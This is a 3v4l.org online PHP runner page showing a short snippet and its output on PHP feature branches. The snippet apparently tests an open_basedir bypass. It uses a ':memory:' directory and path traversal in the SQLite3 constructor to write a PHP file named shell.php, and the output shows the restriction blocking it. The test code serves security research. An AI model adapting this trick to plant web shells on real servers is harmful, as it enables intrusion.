3v4l.org

run code in 300+ PHP versions simultaneously
<?php chdir('/tmp'); mkdir(':memory:'); $database = new SQLite3(":memory:/../../shell.php"); $database->exec("CREATE TABLE foo (bar STRING)"); $database->exec("INSERT INTO foo (bar) VALUES ('<?php phpinfo(); ?>')"); $database->close(); rmdir(':memory:'); ?>
Output for git.master, git.master_jit, rfc.property-hooks
Warning: SQLite3::__construct(): open_basedir restriction in effect. File(/shell.php) is not within the allowed path(s): (/tmp:/in:/etc) in /in/Qe1fY on line 4 Fatal error: Uncaught Exception: open_basedir prohibits opening /shell.php in /in/Qe1fY:4 Stack trace: #0 /in/Qe1fY(4): SQLite3->__construct(':memory:/../../...') #1 {main} thrown in /in/Qe1fY on line 4
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
44.48 ms | 401 KiB | 8 Q